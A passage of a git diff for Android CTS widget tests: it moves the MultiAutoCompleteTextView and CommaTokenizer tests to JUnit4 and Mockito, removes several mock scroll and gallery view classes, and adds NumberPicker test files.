-        super.setUp();
-
-        mActivity = getActivity();
-
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
         mMultiAutoCompleteTextView_country = (MultiAutoCompleteTextView)mActivity
                 .findViewById(R.id.country_edit);
         mMultiAutoCompleteTextView_name = (MultiAutoCompleteTextView)mActivity
                 .findViewById(R.id.name_edit);
     }
 
-    @UiThreadTest
+    @Test
     public void testConstructor() {
-        XmlPullParser parser = mActivity.getResources()
-                .getXml(R.layout.multi_auto_complete_text_view_layout);
-        AttributeSet attr = Xml.asAttributeSet(parser);
-
         new MultiAutoCompleteTextView(mActivity);
-        new MultiAutoCompleteTextView(mActivity, attr);
-        new MultiAutoCompleteTextView(mActivity, attr, 0);
-
-        try {
-            new MultiAutoCompleteTextView(null);
-            fail("There should be a NullPointerException thrown out.");
-        } catch (NullPointerException e) {
-            // expected, test success
-        }
-
-        try {
-            new MultiAutoCompleteTextView(null, null);
-            fail("There should be a NullPointerException thrown out.");
-        } catch (NullPointerException e) {
-            // expected, test success
-        }
-
-        try {
-            new MultiAutoCompleteTextView(null, null, -1);
-            fail("There should be a NullPointerException thrown out.");
-        } catch (NullPointerException e) {
-            // expected, test success
-        }
+        new MultiAutoCompleteTextView(mActivity, null);
+        new MultiAutoCompleteTextView(mActivity, null, android.R.attr.autoCompleteTextViewStyle);
+        new MultiAutoCompleteTextView(mActivity, null, 0,
+                android.R.style.Widget_DeviceDefault_AutoCompleteTextView);
+        new MultiAutoCompleteTextView(mActivity, null, 0,
+                android.R.style.Widget_DeviceDefault_Light_AutoCompleteTextView);
+        new MultiAutoCompleteTextView(mActivity, null, 0,
+                android.R.style.Widget_Material_AutoCompleteTextView);
+        new MultiAutoCompleteTextView(mActivity, null, 0,
+                android.R.style.Widget_Material_Light_AutoCompleteTextView);
     }
 
-    @UiThreadTest
-    private void setText(MultiAutoCompleteTextView m, CharSequence c) {
+    @Test(expected=NullPointerException.class)
+    public void testConstructorWithNullContext1() {
+        new MultiAutoCompleteTextView(null);
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testConstructorWithNullContext2() {
+        new MultiAutoCompleteTextView(null, null);
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testConstructorWithNullContext3() {
+        new MultiAutoCompleteTextView(null, null, -1);
+    }
+
+    private void setText(final MultiAutoCompleteTextView m, final CharSequence c) {
         m.setText(c);
         m.setSelection(0, c.length());
     }
 
     @UiThreadTest
+    @Test
     public void testMultiAutoCompleteTextView() {
         mMultiAutoCompleteTextView_country.setTokenizer(new CommaTokenizer());
         mMultiAutoCompleteTextView_name.setTokenizer(new CommaTokenizer());
@@ -125,21 +132,23 @@
 
         setText(mMultiAutoCompleteTextView_name, "Jacky");
         assertTrue(mMultiAutoCompleteTextView_name.enoughToFilter());
-
-        MockValidator v = new MockValidator();
-        v.setValid(true);
-        mMultiAutoCompleteTextView_name.setValidator(v);
-
-        // There will be an endless loop when using CommaTokenizer as the Tokenizer
-        // mMultiAutoCompleteTextView_name.performValidation();
-        mMultiAutoCompleteTextView_name.setValidator(null);
     }
 
     @UiThreadTest
+    @Test
     public void testPerformValidation() {
-        MockValidator v = new MockValidator();
-        v.setValid(true);
-        mMultiAutoCompleteTextView_country.setValidator(v);
+        final AutoCompleteTextView.Validator validator = mock(AutoCompleteTextView.Validator.class);
+        when(validator.isValid(any(CharSequence.class))).thenReturn(true);
+        when(validator.fixText(any(CharSequence.class))).thenAnswer(
+                new Answer<CharSequence>() {
+                    @Override
+                    public CharSequence answer(InvocationOnMock invocation) throws Throwable {
+                        // Return the originally passed parameter
+                        return (CharSequence) invocation.getArguments()[0];
+                    }
+                });
+
+        mMultiAutoCompleteTextView_country.setValidator(validator);
         MockTokenizer t = new MockTokenizer();
         mMultiAutoCompleteTextView_country.setTokenizer(t);
         String str = new String("Foo, Android Test, OH");
@@ -147,19 +156,20 @@
         mMultiAutoCompleteTextView_country.performValidation();
         assertEquals(str, mMultiAutoCompleteTextView_country.getText().toString());
 
-        v.setValid(false);
+        when(validator.isValid(any(CharSequence.class))).thenReturn(false);
         mMultiAutoCompleteTextView_country.performValidation();
         assertEquals(str + ", ", mMultiAutoCompleteTextView_country.getText().toString());
     }
 
     @UiThreadTest
+    @Test
     public void testPerformFiltering() {
         MyMultiAutoCompleteTextView multiAutoCompleteTextView =
             new MyMultiAutoCompleteTextView(mActivity);
         CommaTokenizer t = new CommaTokenizer();
         multiAutoCompleteTextView.setTokenizer(t);
 
-        ArrayAdapter<String> adapter = new ArrayAdapter<String>(mActivity,
+        ArrayAdapter<String> adapter = new ArrayAdapter<>(mActivity,
                 R.layout.simple_dropdown_item_1line);
         assertNotNull(adapter);
 
@@ -169,8 +179,8 @@
         String text = "Android test.";
         multiAutoCompleteTextView.setText(text);
         multiAutoCompleteTextView.setSelection(0, 12);
-
         multiAutoCompleteTextView.performFiltering(text, KeyEvent.KEYCODE_0);
+
         assertNotNull(multiAutoCompleteTextView.getFilter());
 
         multiAutoCompleteTextView.performFiltering(text, 0, text.length(), KeyEvent.KEYCODE_E);
@@ -178,6 +188,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testReplaceText() {
         MyMultiAutoCompleteTextView multiAutoCompleteTextView =
             new MyMultiAutoCompleteTextView(mActivity);
@@ -253,22 +264,6 @@
         }
     }
 
-    private class MockValidator implements MultiAutoCompleteTextView.Validator {
-        private boolean mIsValid;
-
-        public void setValid(boolean b) {
-            mIsValid = b;
-        }
-
-        public boolean isValid(CharSequence text) {
-            return mIsValid;
-        }
-
-        public CharSequence fixText(CharSequence invalidText) {
-            return invalidText;
-        }
-    }
-
     /**
      * MyMultiAutoCompleteTextView
      */
diff --git a/tests/tests/widget/src/android/widget/cts/MultiAutoCompleteTextView_CommaTokenizerTest.java b/tests/tests/widget/src/android/widget/cts/MultiAutoCompleteTextView_CommaTokenizerTest.java
index 254050f..ba467e4 100644
--- a/tests/tests/widget/src/android/widget/cts/MultiAutoCompleteTextView_CommaTokenizerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/MultiAutoCompleteTextView_CommaTokenizerTest.java
@@ -16,35 +16,41 @@
 
 package android.widget.cts;
 
+import static org.junit.Assert.assertEquals;
 
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.SpannableString;
 import android.text.Spanned;
 import android.text.style.UnderlineSpan;
-import android.widget.MultiAutoCompleteTextView.CommaTokenizer;
+import android.widget.MultiAutoCompleteTextView;
 
-import junit.framework.TestCase;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class MultiAutoCompleteTextView_CommaTokenizerTest extends TestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class MultiAutoCompleteTextView_CommaTokenizerTest {
     private static final String TEST_TEXT = "first token, second token";
-    CommaTokenizer mCommaTokenizer;
+    MultiAutoCompleteTextView.CommaTokenizer mCommaTokenizer;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mCommaTokenizer = new CommaTokenizer();
+    @Before
+    public void setup() {
+        mCommaTokenizer = new MultiAutoCompleteTextView.CommaTokenizer();
     }
 
+    @Test
     public void testConstructor() {
-        new CommaTokenizer();
+        new MultiAutoCompleteTextView.CommaTokenizer();
     }
 
+    @Test
     public void testFindTokenStart() {
         int indexOfSecondToken = TEST_TEXT.indexOf("second");
         assertEquals(indexOfSecondToken,
                 mCommaTokenizer.findTokenStart(TEST_TEXT, indexOfSecondToken));
         // cursor point to the space before "second".
-        // FIXME: does it worked as intended? findTokenStart does not exclude this leading
-        // space in this case.
         assertEquals(indexOfSecondToken - 1,
                 mCommaTokenizer.findTokenStart(TEST_TEXT, indexOfSecondToken - 1));
         assertEquals(indexOfSecondToken,
@@ -56,22 +62,19 @@
 
         assertEquals(-1, mCommaTokenizer.findTokenStart(TEST_TEXT, -1));
         assertEquals(-2, mCommaTokenizer.findTokenStart(TEST_TEXT, -2));
-
-        try {
-            mCommaTokenizer.findTokenStart(TEST_TEXT, TEST_TEXT.length() + 1);
-            fail("did not throw IndexOutOfBoundsException when cursor is large than length");
-        } catch (IndexOutOfBoundsException e) {
-            // expected
-        }
-
-        try {
-            mCommaTokenizer.findTokenStart(null, TEST_TEXT.length());
-            fail("did not throw NullPointerException when text is null");
-        } catch (NullPointerException e) {
-            // expected
-        }
     }
 
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testFindTokenStartInvalidCursor() {
+        mCommaTokenizer.findTokenStart(TEST_TEXT, TEST_TEXT.length() + 1);
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testFindTokenStartNullText() {
+        mCommaTokenizer.findTokenStart(null, TEST_TEXT.length());
+    }
+
+    @Test
     public void testFindTokenEnd() {
         int indexOfComma = TEST_TEXT.indexOf(",");
 
@@ -85,22 +88,19 @@
                 mCommaTokenizer.findTokenEnd(TEST_TEXT, TEST_TEXT.length()));
         assertEquals(TEST_TEXT.length(),
                 mCommaTokenizer.findTokenEnd(TEST_TEXT, TEST_TEXT.length() + 1));
-
-        try {
-            mCommaTokenizer.findTokenEnd(TEST_TEXT, -1);
-            fail("did not throw IndexOutOfBoundsException when cursor is -1");
-        } catch (IndexOutOfBoundsException e) {
-            // expected
-        }
-
-        try {
-            mCommaTokenizer.findTokenEnd(null, 1);
-            fail("did not throw NullPointerException when text is null");
-        } catch (NullPointerException e) {
-            // expected
-        }
     }
 
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testFindTokenEndInvalidCursor() {
+        mCommaTokenizer.findTokenEnd(TEST_TEXT, -1);
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testFindTokenEndNullText() {
+        mCommaTokenizer.findTokenEnd(null, 1);
+    }
+
+    @Test
     public void testTerminateToken() {
         String text = "end with comma,";
         assertEquals(text, mCommaTokenizer.terminateToken(text));
@@ -130,12 +130,10 @@
         assertEquals(expected.toString(), actual.toString());
         assertEquals(0, actual.getSpanStart(what));
         assertEquals(spannableString.length(), actual.getSpanEnd(what));
+    }
 
-        try {
-            mCommaTokenizer.terminateToken(null);
-            fail("did not throw NullPointerException when text is null");
-        } catch (NullPointerException e) {
-            // expected, test success
-        }
+    @Test(expected=NullPointerException.class)
+    public void testTerminateTokenNullText() {
+        mCommaTokenizer.terminateToken(null);
     }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/MyGallery.java b/tests/tests/widget/src/android/widget/cts/MyGallery.java
deleted file mode 100644
index 27b5d45..0000000
--- a/tests/tests/widget/src/android/widget/cts/MyGallery.java
+++ /dev/null
@@ -1,113 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.widget.cts;
-
-import android.content.Context;
-import android.graphics.Rect;
-import android.util.AttributeSet;
-import android.view.View;
-import android.view.ViewGroup;
-import android.view.ViewParent;
-import android.view.ContextMenu.ContextMenuInfo;
-import android.view.animation.Transformation;
-import android.widget.Gallery;
-
-/**
- * A minimal mock gallery for {@link Gallery} test.
- */
-public class MyGallery extends Gallery {
-    private ContextMenuInfo mContextMenuInfo;
-
-    public MyGallery(Context context) {
-        super(context);
-    }
-
-    public MyGallery(Context context, AttributeSet attrs) {
-        super(context, attrs);
-    }
-
-    public MyGallery(Context context, AttributeSet attrs, int defStyle) {
-        super(context, attrs, defStyle);
-    }
-
-    @Override
-    protected boolean getChildStaticTransformation(View child, Transformation t) {
-        return super.getChildStaticTransformation(child, t);
-    }
-
-    @Override
-    protected boolean checkLayoutParams(ViewGroup.LayoutParams p) {
-        return super.checkLayoutParams(p);
-    }
-
-    @Override
-    protected int computeHorizontalScrollExtent() {
-        return super.computeHorizontalScrollExtent();
-    }
-
-    @Override
-    protected int computeHorizontalScrollOffset() {
-        return super.computeHorizontalScrollOffset();
-    }
-
-    @Override
-    protected int computeHorizontalScrollRange() {
-        return super.computeHorizontalScrollRange();
-    }
-
-    @Override
-    protected void dispatchSetPressed(boolean pressed) {
-        super.dispatchSetPressed(pressed);
-    }
-
-    @Override
-    protected ViewGroup.LayoutParams generateDefaultLayoutParams() {
-        return super.generateDefaultLayoutParams();
-    }
-
-    @Override
-    protected ViewGroup.LayoutParams generateLayoutParams(ViewGroup.LayoutParams p) {
-        return super.generateLayoutParams(p);
-    }
-
-    @Override
-    protected int getChildDrawingOrder(int childCount, int i) {
-        return super.getChildDrawingOrder(childCount, i);
-    }
-
-    @Override
-    protected ContextMenuInfo getContextMenuInfo() {
-        if (mContextMenuInfo == null) {
-            mContextMenuInfo = new MyContextMenuInfo();
-        }
-        return mContextMenuInfo;
-    }
-
-    @Override
-    protected void onFocusChanged(boolean gainFocus, int direction,
-            Rect previouslyFocusedRect) {
-        super.onFocusChanged(gainFocus, direction, previouslyFocusedRect);
-    }
-
-    @Override
-    protected void onLayout(boolean changed, int l, int t, int r, int b) {
-        super.onLayout(changed, l, t, r, b);
-    }
-
-    private static class MyContextMenuInfo implements ContextMenuInfo {
-    }
-}
diff --git a/tests/tests/widget/src/android/widget/cts/MyHorizontalScrollView.java b/tests/tests/widget/src/android/widget/cts/MyHorizontalScrollView.java
deleted file mode 100644
index a5a0150..0000000
--- a/tests/tests/widget/src/android/widget/cts/MyHorizontalScrollView.java
+++ /dev/null
@@ -1,85 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.widget.cts;
-
-import android.content.Context;
-import android.graphics.Rect;
-import android.util.AttributeSet;
-import android.view.View;
-import android.widget.HorizontalScrollView;
-
-public class MyHorizontalScrollView extends HorizontalScrollView {
-    public MyHorizontalScrollView(Context context) {
-        super(context);
-    }
-
-    public MyHorizontalScrollView(Context context, AttributeSet attrs) {
-        super(context, attrs);
-    }
-
-    public MyHorizontalScrollView(Context context, AttributeSet attrs, int defStyle) {
-        super(context, attrs, defStyle);
-    }
-
-    @Override
-    protected int computeHorizontalScrollRange() {
-        return super.computeHorizontalScrollRange();
-    }
-
-    @Override
-    protected int computeScrollDeltaToGetChildRectOnScreen(Rect rect) {
-        return super.computeScrollDeltaToGetChildRectOnScreen(rect);
-    }
-
-    @Override
-    protected float getLeftFadingEdgeStrength() {
-        return super.getLeftFadingEdgeStrength();
-    }
-
-    @Override
-    protected float getRightFadingEdgeStrength() {
-        return super.getRightFadingEdgeStrength();
-    }
-
-    @Override
-    protected void measureChild(View child, int parentWidthMeasureSpec,
-            int parentHeightMeasureSpec) {
-        super.measureChild(child, parentWidthMeasureSpec, parentHeightMeasureSpec);
-    }
-
-    @Override
-    protected void measureChildWithMargins(View child, int parentWidthMeasureSpec, int widthUsed,
-            int parentHeightMeasureSpec, int heightUsed) {
-        super.measureChildWithMargins(child, parentWidthMeasureSpec,
-                widthUsed, parentHeightMeasureSpec, heightUsed);
-    }
-
-    @Override
-    public int computeVerticalScrollRange() {
-        return super.computeVerticalScrollRange();
-    }
-
-    @Override
-    public int computeVerticalScrollOffset() {
-        return super.computeVerticalScrollOffset();
-    }
-
-    @Override
-    public int computeVerticalScrollExtent() {
-        return super.computeVerticalScrollExtent();
-    }
-}
diff --git a/tests/tests/widget/src/android/widget/cts/MyRemotableView.java b/tests/tests/widget/src/android/widget/cts/MyRemotableView.java
new file mode 100644
index 0000000..725ffe7
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/MyRemotableView.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.util.AttributeSet;
+import android.widget.RemoteViews;
+import android.widget.TextView;
+
+@RemoteViews.RemoteView
+public class MyRemotableView extends TextView {
+    private byte mByteField;
+    private char mCharField;
+    private double mDoubleField;
+    private short mShortField;
+    private Bundle mBundleField;
+    private Intent mIntentField;
+
+    public MyRemotableView(Context context) {
+        super(context);
+    }
+
+    public MyRemotableView(Context context, AttributeSet attrs) {
+        super(context, attrs);
+    }
+
+    public MyRemotableView(Context context, AttributeSet attrs, int defStyle) {
+        super(context, attrs, defStyle);
+    }
+
+    @android.view.RemotableViewMethod
+    public void setByteField(byte value) {
+        mByteField = value;
+    }
+
+    public byte getByteField() {
+        return mByteField;
+    }
+
+    @android.view.RemotableViewMethod
+    public void setCharField(char value) {
+        mCharField = value;
+    }
+
+    public char getCharField() {
+        return mCharField;
+    }
+
+    @android.view.RemotableViewMethod
+    public void setDoubleField(double value) {
+        mDoubleField = value;
+    }
+
+    public double getDoubleField() {
+        return mDoubleField;
+    }
+
+    @android.view.RemotableViewMethod
+    public void setShortField(short value) {
+        mShortField = value;
+    }
+
+    public short getShortField() {
+        return mShortField;
+    }
+
+    @android.view.RemotableViewMethod
+    public void setBundleField(Bundle value) {
+        mBundleField = value;
+    }
+
+    public Bundle getBundleField() {
+        return mBundleField;
+    }
+
+    @android.view.RemotableViewMethod
+    public void setIntentField(Intent value) {
+        mIntentField = value;
+    }
+
+    public Intent getIntentField() {
+        return mIntentField;
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/MyScrollView.java b/tests/tests/widget/src/android/widget/cts/MyScrollView.java
deleted file mode 100644
index 006b423..0000000
--- a/tests/tests/widget/src/android/widget/cts/MyScrollView.java
+++ /dev/null
@@ -1,69 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.widget.cts;
-
-import android.content.Context;
-import android.graphics.Rect;
-import android.util.AttributeSet;
-import android.view.View;
-import android.widget.ScrollView;
-
-public class MyScrollView extends ScrollView {
-    public MyScrollView(Context context) {
-        super(context);
-    }
-
-    public MyScrollView(Context context, AttributeSet attrs) {
-        super(context, attrs);
-    }
-
-    public MyScrollView(Context context, AttributeSet attrs, int defStyle) {
-        super(context, attrs, defStyle);
-    }
-
-    @Override
-    protected int computeScrollDeltaToGetChildRectOnScreen(Rect rect) {
-        return super.computeScrollDeltaToGetChildRectOnScreen(rect);
-    }
-
-    @Override
-    protected int computeVerticalScrollRange() {
-        return super.computeVerticalScrollRange();
-    }
-
-    @Override
-    protected float getBottomFadingEdgeStrength() {
-        return super.getBottomFadingEdgeStrength();
-    }
-
-    @Override
-    protected float getTopFadingEdgeStrength() {
-        return super.getTopFadingEdgeStrength();
-    }
-
-    @Override
-    protected void measureChild(View c, int pWidthMeasureSpec, int pHeightMeasureSpec) {
-        super.measureChild(c, pWidthMeasureSpec, pHeightMeasureSpec);
-    }
-
-    @Override
-    protected void measureChildWithMargins(View child, int parentWidthMeasureSpec, int widthUsed,
-            int parentHeightMeasureSpec, int heightUsed) {
-        super.measureChildWithMargins(child, parentWidthMeasureSpec, widthUsed,
-                parentHeightMeasureSpec, heightUsed);
-    }
-}
diff --git a/tests/tests/widget/src/android/widget/cts/NumberPickerCtsActivity.java b/tests/tests/widget/src/android/widget/cts/NumberPickerCtsActivity.java
new file mode 100644
index 0000000..f93a1da
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/NumberPickerCtsActivity.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.widget.NumberPicker;
+
+/**
+ * A minimal application for {@link NumberPicker} test.
+ */
+public class NumberPickerCtsActivity extends Activity {
+    /**
+     * Called with the activity is first created.
+     */
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.numberpicker_layout);
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java b/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java
new file mode 100644
index 0000000..3fb141e
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java
@@ -0,0 +1,414 @@
+/*
+ * Copyright (C) 2012 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+
+package android.widget.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.mockito.Mockito.inOrder;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyNoMoreInteractions;
+import static org.mockito.Mockito.verifyZeroInteractions;
+
+import android.app.Instrumentation;
+import android.content.res.Configuration;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.text.TextUtils;
+import android.widget.NumberPicker;
+
+import com.android.compatibility.common.util.CtsTouchUtils;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.InOrder;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class NumberPickerTest {
+    private static final String[] NUMBER_NAMES3 = {"One", "Two", "Three"};
+    private static final String[] NUMBER_NAMES_ALT3 = {"Three", "Four", "Five"};
+    private static final String[] NUMBER_NAMES5 = {"One", "Two", "Three", "Four", "Five"};
+
+    private Instrumentation mInstrumentation;
+    private NumberPickerCtsActivity mActivity;
+    private NumberPicker mNumberPicker;
+
+    @Rule
+    public ActivityTestRule<NumberPickerCtsActivity> mActivityRule =
+            new ActivityTestRule<>(NumberPickerCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
+        mNumberPicker = (NumberPicker) mActivity.findViewById(R.id.number_picker);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testConstructor() {
+        new NumberPicker(mActivity);
+
+        new NumberPicker(mActivity, null);
+
+        new NumberPicker(mActivity, null, android.R.attr.numberPickerStyle);
+
+        new NumberPicker(mActivity, null, 0, android.R.style.Widget_Material_NumberPicker);
+
+        new NumberPicker(mActivity, null, 0, android.R.style.Widget_Material_Light_NumberPicker);
+    }
+
+    private void verifyDisplayedValues(String[] expected) {
+        final String[] displayedValues = mNumberPicker.getDisplayedValues();
+        assertEquals(expected.length, displayedValues.length);
+        for (int i = 0; i < expected.length; i++) {
+            assertEquals(expected[i], displayedValues[i]);
+        }
+    }
+
+    @UiThreadTest
+    @Test
+    public void testSetDisplayedValuesRangeMatch() {
+        mNumberPicker.setMinValue(10);
+        mNumberPicker.setMaxValue(12);
+        mNumberPicker.setDisplayedValues(NUMBER_NAMES3);
+
+        assertEquals(10, mNumberPicker.getMinValue());
+        assertEquals(12, mNumberPicker.getMaxValue());
+        verifyDisplayedValues(NUMBER_NAMES3);
+
+        // Set a different displayed values array, but still matching the min/max range
+        mNumberPicker.setDisplayedValues(NUMBER_NAMES_ALT3);
+
+        assertEquals(10, mNumberPicker.getMinValue());
+        assertEquals(12, mNumberPicker.getMaxValue());
+        verifyDisplayedValues(NUMBER_NAMES_ALT3);
+
+        mNumberPicker.setMinValue(24);
+        mNumberPicker.setMaxValue(26);
+
+        assertEquals(24, mNumberPicker.getMinValue());
+        assertEquals(26, mNumberPicker.getMaxValue());
+        verifyDisplayedValues(NUMBER_NAMES_ALT3);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testSetDisplayedValuesRangeMismatch() {
+        mNumberPicker.setMinValue(10);
+        mNumberPicker.setMaxValue(14);
+        assertEquals(10, mNumberPicker.getMinValue());
+        assertEquals(14, mNumberPicker.getMaxValue());
+
+        // Try setting too few displayed entries
+        try {
+            // This is expected to fail since the displayed values only has three entries,
+            // while the min/max range has five.
+            mNumberPicker.setDisplayedValues(NUMBER_NAMES3);
+            fail("The size of the displayed values array must be equal to min/max range!");
+        } catch (Exception e) {
+            // We are expecting to catch an exception. Set displayed values to an array that
+            // matches the min/max range.
+            mNumberPicker.setDisplayedValues(NUMBER_NAMES5);
+        }
+    }
+
+    @UiThreadTest
+    @Test
+    public void testSelectionDisplayedValueFromDisplayedValues() {
+        mNumberPicker.setMinValue(1);
+        mNumberPicker.setMaxValue(3);
+        mNumberPicker.setDisplayedValues(NUMBER_NAMES3);
+
+        mNumberPicker.setValue(1);
+        assertTrue(TextUtils.equals(NUMBER_NAMES3[0],
+                mNumberPicker.getDisplayedValueForCurrentSelection()));
+
+        mNumberPicker.setValue(2);
+        assertTrue(TextUtils.equals(NUMBER_NAMES3[1],
+                mNumberPicker.getDisplayedValueForCurrentSelection()));
+
+        mNumberPicker.setValue(3);
+        assertTrue(TextUtils.equals(NUMBER_NAMES3[2],
+                mNumberPicker.getDisplayedValueForCurrentSelection()));
+
+        // Switch to a different displayed values array
+        mNumberPicker.setDisplayedValues(NUMBER_NAMES_ALT3);
+        assertTrue(TextUtils.equals(NUMBER_NAMES_ALT3[2],
+                mNumberPicker.getDisplayedValueForCurrentSelection()));
+
+        mNumberPicker.setValue(1);
+        assertTrue(TextUtils.equals(NUMBER_NAMES_ALT3[0],
+                mNumberPicker.getDisplayedValueForCurrentSelection()));
+
+        mNumberPicker.setValue(2);
+        assertTrue(TextUtils.equals(NUMBER_NAMES_ALT3[1],
+                mNumberPicker.getDisplayedValueForCurrentSelection()));
+    }
+
+    @UiThreadTest
+    @Test
+    public void testSelectionDisplayedValueFromFormatter() {
+        mNumberPicker.setMinValue(0);
+        mNumberPicker.setMaxValue(4);
+        mNumberPicker.setFormatter((int value) -> "entry " + value);
+
+        mNumberPicker.setValue(0);
+        assertTrue(TextUtils.equals("entry 0",
+                mNumberPicker.getDisplayedValueForCurrentSelection()));
+
+        mNumberPicker.setValue(1);
+        assertTrue(TextUtils.equals("entry 1",
+                mNumberPicker.getDisplayedValueForCurrentSelection()));
+
+        mNumberPicker.setValue(2);
+        assertTrue(TextUtils.equals("entry 2",
+                mNumberPicker.getDisplayedValueForCurrentSelection()));
+
+        mNumberPicker.setValue(3);
+        assertTrue(TextUtils.equals("entry 3",
+                mNumberPicker.getDisplayedValueForCurrentSelection()));
+
+        mNumberPicker.setValue(4);
+        assertTrue(TextUtils.equals("entry 4",
+                mNumberPicker.getDisplayedValueForCurrentSelection()));
+
+        // Switch to a different formatter
+        mNumberPicker.setFormatter((int value) -> "row " + value);
+        // Check that the currently selected value has new displayed value
+        assertTrue(TextUtils.equals("row 4",
+                mNumberPicker.getDisplayedValueForCurrentSelection()));
+
+        // and check a couple more values for the new formatting
+        mNumberPicker.setValue(0);
+        assertTrue(TextUtils.equals("row 0",
+                mNumberPicker.getDisplayedValueForCurrentSelection()));
+
+        mNumberPicker.setValue(1);
+        assertTrue(TextUtils.equals("row 1",
+                mNumberPicker.getDisplayedValueForCurrentSelection()));
+    }
+
+
+    @UiThreadTest
+    @Test
+    public void testSelectionDisplayedValuePrecedence() {
+        mNumberPicker.setMinValue(1);
+        mNumberPicker.setMaxValue(3);
+        mNumberPicker.setDisplayedValues(NUMBER_NAMES3);
+        mNumberPicker.setFormatter((int value) -> "entry " + value);
+
+        // According to the widget documentation, displayed values take precedence over formatter
+        mNumberPicker.setValue(1);
+        assertTrue(TextUtils.equals(NUMBER_NAMES3[0],
+                mNumberPicker.getDisplayedValueForCurrentSelection()));
+
+        mNumberPicker.setValue(2);
+        assertTrue(TextUtils.equals(NUMBER_NAMES3[1],
+                mNumberPicker.getDisplayedValueForCurrentSelection()));
+
+        mNumberPicker.setValue(3);
